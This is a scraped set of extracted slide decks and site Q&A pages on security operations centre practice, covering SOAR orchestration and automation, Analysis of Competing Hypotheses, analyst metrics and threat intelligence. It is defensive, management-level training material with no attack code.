Background Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …What’s Your Template for Analysis? We’re going to develop these templates. You’re not just to fill out the template, you still need to think! Copyright Chri stopher Crowley Security Operations 77 Analysis of Competing Hypotheses ACH Applied •Let’s look at the data we have, and list some potential explanations •Don’t criticize, kill, or otherwise refute any hypothesis! (We’ll do that later.) •This is hard for most people to do, since we tend to be incremental •Automation: populate hypotheses with all previously encountered explanations for issues1. Brainstorm Copyright Chri stopher Crowley Security Operations 78 Analysis of Competing Hypotheses ACH Applied •Identify the data that we have •Identify data that would be useful, and keep a running list of it to try to acquire it •Orchestrate: Based on the attempt to build out your ACH templates, determine what data would be needed for analysis, and work toward automatically collecting this information through orchestration2. List Data Attributes Copyright Chri stopher Crowley Security Operations 79 Analysis of Competing Hypotheses ACH Applied •Make a chart with the hypotheses on the top and the data elements (created in steps 1 and 2) on the side •Don’t fill it in yet •At some future time, this could potentially be automated for an analyst given ranked / weighted hypotheses sets based on data present for investigation, (we’re probably not there yet)3. Build Matrix Copyright Chri stopher Crowley Security Operations 80 Analysis of Competing Hypotheses ACH Applied •Look for consolidation opportunities •Are two hypotheses essentially the same? •Can we consolidate data elements? •Do we need to add more data elements? •Don’t Automate or Orchestrate: Get the human being to do expert work here4. Assess and Refine Chart Copyright Chri stopher Crowley Security Operations 81 Analysis of Competing Hypotheses ACH Applied •Fill in the numbers •The method we’ll use is: 10 points per row total. Assign the points for that specific data element (not overall) that supports the hypothesis in each column) •Can’t exceed 10 points per row •Sum the points at the bottom6. Tentative Conclusions Copyright Chri stopher Crowley Security Operations 82 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but from network user is on Site Accessed when ad showed 5 2 3 Bad Grammar 3 3 3 Compulsion to risky action 3.5 3 3.5 Advertised only on one site 7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18ACH – Example – Spam Advertising These values are the analysis, different analysts would have different values Copyright Chri stopher Crowley Security Operations 83 Analysis of Competing Hypotheses ACH Applied •Look at the matrix. Identify all the rows where the point allocation is close (3,4,4, for example) •Look at the matrix. Identify the rows where there’s a big difference between points (10,0,0 or 7,2,1). These are the data elements that your analysis hinges upon. •Consider: what if that data was wrong? (Analysts dislike) •This could be automated, but the benefit of this is for the analyst to reflect on the conclusions6. Sensitivity Analysis Copyright Chri stopher Crowley Security Operations 84 Analysis of Competing Hypotheses Background Malware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Copyright Chri stopher Crowley Security Operations 85 Analysis of Competing Hypotheses ACH Applied •Write a brief explanation of your results (potential for automation and orchestration here) •Identify most likely hypothesis •Identify your assumptions •Identify the sensitivity of your analysis (what does it depend upon being true?) •Identify other hypotheses considered but dismissed7. Report Conclusions Copyright Chri stopher Crowley Security Operations 86 Analysis of Competing Hypotheses ACH Applied •Identify a few things that are likely to happen in the future, based on what you’ve hypothesized is the most likely explanation •This isn’t easy. For example, if you hypothesized an intruder has compromised a host, there will likely be subsequent reconnaissance and pivoting attempts using exploits and password guessing8. Milestones Copyright Chri stopher Crowley Security Operations 87 Analysis of Competing Hypotheses ACH Applied •Give your completed work to your partner analyst •This isn’t escalated to a higher tier, done by a peer analyst •The partner should be able to understand what you wrote and your explanation without you explaining it to him/her – repeat: you’re not allowed to explain the report to your peer . Peer reads it, criticizes it, you improve it •Don’t agree, only point out problems that are present, this is what makes analysis better: criticize to strengthen9. Peer Review (Crowley added) Copyright Chri stopher Crowley Security Operations 88 Analysis of Competing Hypotheses Background •1) Identify hypotheses – brainstorm •2) List attributes – for and against each hypothesis •3) Build matrix – with hypotheses at top, evidence on side •4) Refine matrix – remove or consolidate as appropriate •5) Tentative conclusions – disprove (don’t validate) item •6) Sensitivity – change critical elements to assess •7) Report conclusions – relative likelihood of each •8) Milestones – future events suggesting error in analysisReview - ACH – 8-Step ACH Process Copyright Chri stopher Crowley Security Operations 89 Analysis of Competing Hypotheses Background •We can create templates for the common situations we encounter to expedite the analysis portion •There’s a danger to this: you are not supposed to just fill in the template – don’t be limited by it, it’s a start •Work on templates, and revise perpetually •Start now: 3 most frequent situations requiring analysis, and build templates for those over the next three weeks Templates – Benefits and Risk Copyright Chri stopher Crowley Security Operations 90 Analysis of Competing Hypothesis Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …Template Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice. Important – templates a work expediter, not a checkbox to fill in. Copyright Chri stopher Crowley Security Operations 91 Conclusion Copyright Chri stopher Crowley Security Operations 92 Thank You •CCrowMontance (twitter) •https://www.mgt517.com/soc for this slide deck & other public decks, plus additional references •Redistribution authorized, but please provide citation •https://soc.montance.com April 2019: my consolidated location for security operations / SOC resourcesI Appreciate Your Time and Attention Copyright Chri stopher Crowley Security Operations 93 --- ## Source: https://montance.com/questions.php?id=117 [![pdf](content/images/icons/pdf.svg) SOAR Presentation 2019.pdf](https://drive.google.com/file/d/1ivAGXAFPruxBBGL0675FQc0aa3OYBqxJ/view?usp=drive_link) SOAR Presentation 2019 Presentation covering SOAR titled 'SOAR Presentation 2019'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main goal of SOAR? A: To improve the efficiency and effectiveness of security operations. * Q: What are the three components of SOAR? A: Orchestration, Automation, and Response. * Q: What is 'Orchestration'? A: Coordinating tools and processes across different security technologies. * Q: What is 'Automation'? A: Executing tasks without human intervention. * Q: What is 'Response'? A: The actions taken to mitigate a threat. * Q: What is a 'Workflow'? A: A sequence of processes or tasks. * Q: What is 'API Integration'? A: Connecting different software tools programmatically. * Q: What is 'Case Management'? A: Tracking incidents and investigations in a central system. * Q: What is 'Threat Intelligence Platform' (TIP)? A: A tool for aggregating and analyzing threat data. * Q: What is 'ROI' in the context of SOAR? A: Return on Investment, often measured in time saved. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1ivAGXAFPruxBBGL0675FQc0aa3OYBqxJ/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1ivAGXAFPruxBBGL0675FQc0aa3OYBqxJ/view?usp=drive_link]** 2019 -02 SOARing to New Heights - Using Orchestration & Automation Tools in the Way They're IntendedChristopher Crowley - CCrowMontance Copyright Chri stopher Crowley Security Operations 2 Introduction •SANS Senior Instructor – US, Europe, Middle East, Asia, Australia •Consultant: Educational Institutions, Financial Institutions, US Government (military and non -military), EU organizations, etc. •This presentation (and others): https://www.mgt517.com/soc •Objective is to give you some specific work tasks to orchestrate and automate, as well as the boundary and guideline activities that are adjacent to those actions •We’ll get more details from the other speakersWelcome – Christopher Crowley - @CCrowMontance Copyright Chri stopher Crowley Security Operations 3 Introduction •I’m going to talk about some aspects of the “What” of Orchestration and Automation •I’m going to go into the “How” and “When” a little bit •The other speakers will enhance and provide extended notions of What, When and How, with Why and Who. •Throughout the talk, feel free to tweet any action items you’re taking away. @ CCrowMontance #TODO will be useful for me to go back to see what inspiration you took away from todayMy Talk Copyright Chri stopher Crowley Security Operations 4 Agenda •Alex Wood – CISO – Pulte Group, Inc. •Cody Cornell – Founder & CEO – Swimlane •Break (10:15 -10:30) •Corin Imai –Senior Security Advisor – DomainTools •Tim Sandage – Senior Security Partner Strategies – AWS; Andrew Plato - AntianToday’s Agenda Copyright Chri stopher Crowley Security Operations 5 Orchestration Defined •Orchestration is the automated configuration, coordination, and management of computer systems and software. Wikipedia: Orchestration_(computing) •In Security Operations we tend to focus on the coordination between various systems, software, and data setsOrchestration for Security Operations Copyright Chri stopher Crowley Security Operations 6 Automation Defined •Automation is the technology by which a process or procedure is performed with minimum human assistance. Wikipedia: Automation •In Security Operations we tend to focus on the execution of specific steps of actions that are repeatedAutomation in Security Operations Copyright Chri stopher Crowley Security Operations 7 Applying to Incident Handling •Orchestration and Automation can be applied to various parts of the Incident Handling sequence •I caution you to consider the differences between: •Identification •Investigation •Analysis •ResponseDifferent Things That What We Do Copyright Chri stopher Crowley Security Operations 8 Enumerating Tasks Copyright Chri stopher Crowley Security Operations 9 Orchestration Uses •Extraction of related/correlated data from multiple systems •Presenting data to an analyst for assessment (single or multiple systems) •Guiding an analyst through variable options to provide investigation support and response support •Investigation: collect information and analyze information •Response: modify/change, or intervene in operational systemsEffective Scenarios for Orchestration Copyright Chri stopher Crowley Security Operations 10 Orchestration Contraindication •Performance of Analysis (bear with me to the end of the presentation where I recommend analytical practice that is expedited, but neither automated nor specifically orchestrated with a system) •Novel / Complex / Unknown scenarios bearing little resemblance to orchestrated situations (phone menu hell) •Exceeding boundaries (typically legal) that may be technically feasible, but inappropriate or illegalContraindication: When Not To Do Something Copyright Chri stopher Crowley Security Operations 11 Automation Uses •Guiding principle: If I’m going to do it more than twice, I should script it once. (SysAdmin’s Mantra) •Containment authorized by human triggers actions: •Collect Memory, Isolate Host (maybe only if certain type of host), Extract data from filesystem around time of possible encounter based on network info, (and vice versa), suspend user account, …Repeatable Operation Copyright Chri stopher Crowley Security Operations 12 Automation Contraindication •Automation paradox: complex systems tend to be more automated, and require human intervention to avoid damage in unexpected scenarios. But human capability to intervene is largely diminished by the automation present. •Scary example: system failures in airplanes •Qantas Flight 72 – autopilot pitch -down actions Paradox of Automation Copyright Chri stopher Crowley Security Operations 13 Automation Contraindication •No clearly defined parameters of accuracy, success, or what to avoid •IT operational processes are not well defined •Recovery / Business continuity techniques are not well defined and tested •Technology in use isn’t tested / verifiedAvoid Automation When Copyright Chri stopher Crowley Security Operations 14 Inventory of Processes •I suggest you have an inventory of processes that are done by your SOC (or whatever team you’re part of) even if you haven’t fully documented each one •It’s a good place to start •I’ve got a document (SOC -Process -list in mgt517.com/soc) that is a jump start for that effort. Contribute back your updated list to me if you canYour Repertoire Copyright Chri stopher Crowley Security Operations 15 How Do I Get There Copyright Chri stopher Crowley Security Operations 16 Building Processes •Identify processes •Identify appropriate levels of specificity: exactly follow steps, overall steps plus a few details, general objectives with latitude •Work out sequence, consider decision points, try to elaborate what might go wrong, define start, stop, success, when to call for help •My favorite example: write directions for me to walk out the front door of this hotelMy Short Sequence to Build Process Copyright Chri stopher Crowley Security Operations 17 Building Workflow •Inputs, People, Technology, Processes, and Outputs •Enumerate these items, link together •The workflow could be a detailed subset or many items •In describing a SOC, I’ve developed a work flow of the processes available for download at the same link I mentioned earlier https://www.mgt517.com/socWorkflow: Multiple Steps Copyright Chri stopher Crowley Security Operations 18 Building Toward Automation •For the processes established, and the workflow sequence, attempt to do each step within the automation tool •Make each task a reusable atom, and link these together •Most automation tools are capable of doing this, and come pre -populated with a set of common tasksDefine Process, Test Steps Copyright Chri stopher Crowley Security Operations 19 Example: Analysis •This is something that I’m going to advise you to automate or orchestrate some portions (I’ll point out which) and pre -populate some components (we’ll pre - build decision matrices) for expediting, but leave the hard work (the analysis) for humans (for now). •This will move us toward a decision support system (old term for an expert system, which is an old term for AI)Venerable Definition of Analysis: Analysis of Competing Hypotheses Copyright Chri stopher Crowley Security Operations 20 Models of Analysis Background •Human mental machinery is fraught with substantial weakness in objectively processing information •We overlook or ignore details that don’t suit our mental models •We resist changing our mind once we’ve decided something is right, even in the face of updated evidence •Experimental results suggest that: experts in their field increase self-assessed confidence level with more data, without corresponding increases in accuracy of analysisACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 21 Models of Analysis Background •We use Situational Logic, Theory Application, and Comparison •Leads to mistakes in analysis •Make assumptions, but explicitly identify them in the analysis •Common analytical failures: •Satisficing – selecting the first, not the best •Incrementalism – variation on same theme, insufficient breadth of scope •Consensus – most popular, not the most accurate •Reason by analogy – selection based on avoiding a previous mistake in analysis •Principals – applying morality to select between the “good” and “bad”ACH – Mental Machinery Copyright Chri stopher Crowley Security Operations 22 Analysis of Competing Hypotheses Background •Decomposing a problem breaks it into sub-elements to allow smaller units for analysis •Externalization of a problem removes it from the mental space it puts it in a tangible space to facilitate more complex manipulation. Draw a graph, build a model, use replicas of the affected systems and test the scenarios you proposeACH – Decomposition and Externalization Copyright Chri stopher Crowley Security Operations 23 Analysis of Competing Hypotheses Background What’s Your Template for Analysis? Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 …We’re going to develop these templates. You’re not just to fill out the template, you still need to think! Copyright Chri stopher Crowley Security Operations 24 Analysis of Competing Hypotheses ACH Applied •Let’s look at the data we have, and list some potential explanations •Don’t criticize, kill, or otherwise refute any hypothesis! (We’ll do that later.) •This is hard for most people to do, since we tend to be incremental •Automation: populate hypotheses with all previously encountered explanations for issues1. Brainstorm Copyright Chri stopher Crowley Security Operations 25 Analysis of Competing Hypotheses ACH Applied •Identify the data that we have •Identify data that would be useful, and keep a running list of it to try to acquire it •Orchestrate: Based on the attempt to build out your ACH templates, determine what data would be needed for analysis, and work toward automatically collecting this information through orchestration2. List Data Attributes Copyright Chri stopher Crowley Security Operations 26 Analysis of Competing Hypotheses ACH Applied •Make a chart with the hypotheses on the top and the data elements (created in steps 1 and 2) on the side •Don’t fill it in yet •At some future time, this could potentially be automated for an analyst given ranked / weighted hypotheses sets based on data present for investigation, (we’re probably not there yet)3. Build Matrix Copyright Chri stopher Crowley Security Operations 27 Analysis of Competing Hypotheses ACH Applied •Look for consolidation opportunities •Are two hypotheses essentially the same? •Can we consolidate data elements? •Do we need to add more data elements? •Don’t Automate or Orchestrate: Get the human being to do expert work here4. Assess and Refine Chart Copyright Chri stopher Crowley Security Operations 28 Analysis of Competing Hypotheses ACH Applied •Fill in the numbers •The method we’ll use is: 10 points per row total. Assign the points for that specific data element (not overall) that supports the hypothesis in each column) •Can’t exceed 10 points per row •Sum the points at the bottom6. Tentative Conclusions Copyright Chri stopher Crowley Security Operations 29 Analysis of Competing Hypotheses Background ACH – Example – Spam Advertising Malware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18These values are the analysis, different analysts would have different values Copyright Chri stopher Crowley Security Operations 30 Analysis of Competing Hypotheses ACH Applied •Look at the matrix. Identify all the rows where the point allocation is close (3,4,4, for example) •Look at the matrix. Identify the rows where there’s a big difference between points (10,0,0 or 7,2,1). These are the data elements that your analysis hinges upon. •Consider this: what if that data was wrong? •This could be automated, but the benefit of this is for the analyst to reflect on the conclusions6. Sensitivity Analysis Copyright Chri stopher Crowley Security Operations 31 Analysis of Competing Hypotheses Background ACH – Example – Spam Advertising – Sensitivity Analysis Malware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Copyright Chri stopher Crowley Security Operations 32 Analysis of Competing Hypotheses ACH Applied •Write a brief explanation of your results (potential for automation and orchestration here) •Identify most likely hypothesis •Identify your assumptions •Identify the sensitivity of your analysis (what does it depend upon being true?) •Identify other hypotheses considered but dismissed7. Report Conclusions Copyright Chri stopher Crowley Security Operations 33 Analysis of Competing Hypotheses ACH Applied •Identify a few things that are likely to happen in the future, based on what you’ve hypothesized is the most likely explanation •This isn’t easy. For example, if you hypothesized an intruder has compromised a host, there will likely be subsequent reconnaissance and pivoting attempts using exploits and password guessing8. Milestones Copyright Chri stopher Crowley Security Operations 34 Analysis of Competing Hypotheses ACH Applied •Give your completed work to your partner analyst •This isn’t escalated to a higher tier, by a peer analyst •The partner should be able to understand what you wrote and your explanation without you explaining it to him/her – repeat: you’re not allowed to explain the report to your peer . Peer reads it and criticizes it •Don’t agree, only point out problems that are present, this is what makes analysis better: criticize to strengthen9. Peer Review (Crowley added) Copyright Chri stopher Crowley Security Operations 35 Analysis of Competing Hypotheses Background •1) Identify hypotheses – brainstorm •2) List attributes – for and against each hypothesis •3) Build matrix – with hypotheses at top, evidence on side •4) Refine matrix – remove or consolidate as appropriate •5) Tentative conclusions – disprove (don’t validate) item •6) Sensitivity – change critical elements to assess •7) Report conclusions – relative likelihood of each •8) Milestones – future events suggesting error in analysisReview - ACH – 8-Step ACH Process Copyright Chri stopher Crowley Security Operations 36 Analysis of Competing Hypotheses Background •We can create templates for the common situations we encounter to expedite the analysis portion •There’s a danger to this: you are not supposed to just fill in the template – don’t be limited by it, it’s a start •Work on templates, and revise perpetually •Start now: 3 most frequent situations requiring analysis, and build templates for those over the next three weeks Templates – Benefits and Risk Copyright Chri stopher Crowley Security Operations 37 Analysis of Competing Hypotheses Background •Honor doubt •Consider alternatives •Encourage the rigorous performance of analysis •Create an environment that fosters and rewards analysis •Lead by example applying analysis to important decisions, share your methodologyACH – Key Takeaways Copyright Chri stopher Crowley Security Operations 38 Conclusion Copyright Chri stopher Crowley Security Operations 39 Action Items •Automation & Orchestration defined in context of: •Identification, Investigation, Analysis, Response •Orchestrate for complex sequence across multiple systems with clear objectives and outcomes •Automate testable, multi -step, well defined, actions •Develop an analytical methodology (ACH example) •Assess, Repeat, Improve, …Recap Copyright Chri stopher Crowley Security Operations 40 Thank You •CCrowMontance (twitter) •https://www.mgt517.com/soc for this slide deck & referenced documents (2019 -02-SOAR.zip) •Redistribution authorized, but please provide citation •https://soc.montance.com April 2019: my consolidated location for security operations / SOC resources --- ## Source: https://montance.com/questions.php?id=116 [![pdf](content/images/icons/pdf.svg) SOC Brief.pdf](https://drive.google.com/file/d/1isxy5UtEKLOHV2x1q4VvS4cZJ39NC4qd/view?usp=drive_link) SOC Brief General briefing on SOC tactics and challenges. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the subtitle of the 'SOC Brief' presentation? A: Common Sense SOC Tactics & Strategies: Advice on Overcoming Challenges. * Q: What are the 'Three Pillars' of a SOC defined here? A: People, Process, and Technology. * Q: What is the 'Force Multiplier' concept? A: Using technology (automation) to amplify the capabilities of the human staff. * Q: What is the primary goal of 'Triage'? A: To quickly determine if an alert is a true positive (incident) or false positive (noise). * Q: What is the 'Pyramid of Pain'? A: A conceptual model showing the difficulty for an attacker to change their TTPs vs. simple indicators like IPs. * Q: What is the recommendation for 'Documentation'? A: Document processes as they are performed, not as a separate academic exercise. * Q: What is the 'Shift Left' concept in SOCs? A: Moving detection and prevention earlier in the attack lifecycle. * Q: What is 'Situational Awareness'? A: Knowing what is happening on your network in real-time. * Q: What is the importance of 'Business Context'? A: Understanding which assets are critical to the business to prioritize response. * Q: What is the 'Feedback Loop'? A: Using lessons learned from incidents to improve detection rules and prevention controls. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1isxy5UtEKLOHV2x1q4VvS4cZJ39NC4qd/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1isxy5UtEKLOHV2x1q4VvS4cZJ39NC4qd/view?usp=drive_link]** Common Sense SOC Tactics & Strategies Advice on Overcoming Challenges and Implementing Improvements Introduction Christopher Crowley – SANS Senior Instructor •Background: started working in computers in 1988, before security was much of a concern. Had root on most systems in employer at 15 years old •Has worked in several sectors: Education, Energy, Government, Software Development, Defense, Financial, Telecommunications •Currently: Consultant, author of MGT517: Security Operations. Teaches: MGT517, SEC511, SEC575, SEC504, … •Consultant, with focus on overall operations Twitter: CCrowMontance Presentation Available to Download https://mgt517.com/2018 -11-brief Current Trends One Example •I usually like to spend time discussing current issues. •This presentation is so long, we won’t be able to cover it all, so I’m going to mention just one example •I’m including all this material in case you want to review it later, so I express my complete vision even if I can’t deliver all of the material in enough detail •Bloomberg supply chain, Supermicro: https://mgt517.com/china -2018 Bloomberg Public Responses Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capability Terminology Examples •CSOC – Cyber Security Operations Center •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitre Functional Areas of a SOC Threat Intelligence Incident Response Forensics Self-Assessment Steering Committee Command Center Network Security Monitoring Common Problems Common Issues •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Resolutions: Misalignment Inadequate Feedback Resolution to Inadequate Feedback Loop •Developing governance to address constituent need •Metrics concerning need •Example metrics on next few slides •Using SOC/CIRT to identify assets •A common issue within the organization is that asset inventory isn’t connected to procurement and risk assessment capability •SOC as a discovery enabler is helping to make positive change •Observed assets without allocation, risk assessment, appropriate incident handling, and valuation are treated as “the wilderness” •Constant effort to minimize wilderness, diminish the connectivity to the wilderness, and important data is removed from it Resolutions: Misalignment Metrics Analyst Baseball Card •Have a known set of assessment metrics for each analyst •Carson Zimmerman’s 2018 SOC Summit Keynote has a good baseball card (shown here) •https://mgt517.com /baseball Analyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days Crowley Incident Avoidability – 1,2,3 •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this way1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data High Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverable Impact Quantification 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81 Current Incident 73 Legacy System #8 -Accounts Payable - Check Writing Resolutions: Misalignment Asset Discovery Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notification Asset Discovery: a Technology Problem? •Seriously, is the technology incapable of identifying systems on your network? •I think the disappointment is mapping to useful organizational contact Matrix Depiction – Part 1 - Capabilities Mapped to System Types Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - High•Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per - incident type •Internal dependencies, cloud contracts, external auditors, legal council Matrix Depiction – Part 2 - Capabilities List Versus Kill Chain Phase Internal CapabilityRecon Weapon - izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + + •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Resolutions: Misalignment Threat Intelligence Inadequate Threat Intelligence •Buy It •There is a large amount of threat information available •Leveraging existing open source collection is an art because there’s a lot of noise in the available material: what do you want to know? What do you need to know? •Build It •Every incident discovered is a potential source of intelligence •Have short term and long term capability to absorb this Buy It •It takes maturity to utilize threat intelligence •Dashboards are cool to look at, but what is the analyst actually supposed to do with this? •Useful to have threat intelligence focused staff to manage the information that is provided to analysts •Might not be a full time job in your environment •Requires curation and filtering •Vendors can help (but don’t always) How to Use Open Source Intel? •Best to directly/automatically enrich the SIEM or other analyst tool with Threat Intel (TI) rather than require individuals to read and research specific information •SOC Staff TI briefs •Daily 10 minute “latest” news •Weekly 30 -60 minute detailed brief to keep them updated on current trends •Executive TI brief •Weekly or Monthly – Strategic: don’t include many details Build It – Historical / Retroactive Analysis Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation Retroactive Analysis Example Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation New NIDS Rules DNS logs, IP addresses, other IOCs Tactics, Techniques and Procedures (TTPs) Build It – Attribution Capability •US-CERT TA18 -275A: HIDDEN COBRA – FASTCash Campaign •US DHS, Treasury, FBI assessed to be North Korean actors •Banks targeted are in Africa and Asia •Includes a list of illicit transaction codes •A compromised server intercepts the fraudulent transactions, drops the transaction request from reaching the payment transaction server, but sends a verified code back to the ATM to authorize the transaction •Leverages compromised servers in bank infrastructure and x200 ISO8583 payment transaction messaging protocol message manipulation •Detailed understanding required extensive in depth forensic analysis •Someone did the analysis, it could (and should) be you Share It •ISACs •Federated information sharing •Multi -SOC models Share It - ISACs •In the US, there is an ISAC coordination group of about 20 industry specific ISACs: https://www.nationalisacs.org •Europe: ENISA / CERT -EU •APCERT 2017 report cites FS -ISAC •Short story: find out where you should participate and do it Share It – Federated •Federated information sharing can be largely decentralized, and often helps when no official avenue of information sharing is available •One of my favorite examples of an open sharing resource: https://apt.threattracking.com Share It – Federated Share It – Hierarchical Multi -SOC Model CompanyRegionalGlobalSOC 1 – Global Headquarters SOC 2 – APAC SOC 3 – Company 1SOC 4 – Company 2SOC 5 – Europe SOC 6 – Company ASOC 7 – Company BInform ationDirec tion Resolutions: Misalignment Response Empowerment Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Resolutions: Misalignment Technology Selection Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Video of Crowley’s presentation on use case development from 2017 SOC Brief is available: https://mgt517.com/use -case (registration required) SOC System Visibility (External Awareness)Comm - unicationOpsDetection & PreventionStorage Deception Analysis Example Open Source Twitter, news sites, threat connect, OTX, Maltego CE, MRTG, RRD toolVisibility (External Awareness) GPG, Skype, Slack, Linux servers, Communication The Hive, RTIR Ops SIFT, GRR, Winpmem /Volatility, OSSEC, syslog, SecurityOnion , ELK, Wireshark, Kismet, Cuckoo Detection & Prevention MySQL, Postgresql , syslog, ELK Storage Tor, public access, Remnux , ADHD, Canary tokens, Kippo Deception Virtualbox , GDB, Immunity, Metasploit, radare2, STIGs, Timesketch , Maltego CE, Yara, SIFT, Burp, Arachni , JaD-X Analysis Example Moderate Threat Connect, OTX, Maltego , What’s UpVisibility (External Awareness) Vonage Cloud, Shoretel , Exchange PKI, Microsoft Teams, AWS EC2, Communication CyberCPR , Jira+Confluence , Demisto , ZenDesk , Ops SafeBack , FTK, F -response, Tripwire, Windows Defender, AppLocker, Bitlocker , Fortinet, NetWitness , LogRhythm, ProofPoint , Tripwire, AirDefense , LogRhythm, AlienVaultDetection & Prevention AWS EC2, Azure, Dropbox, Shredding / IronMountain Storage Cable / DSL connection, VMWare Workstation, Honeybot , Authentic8 Deception VMWare 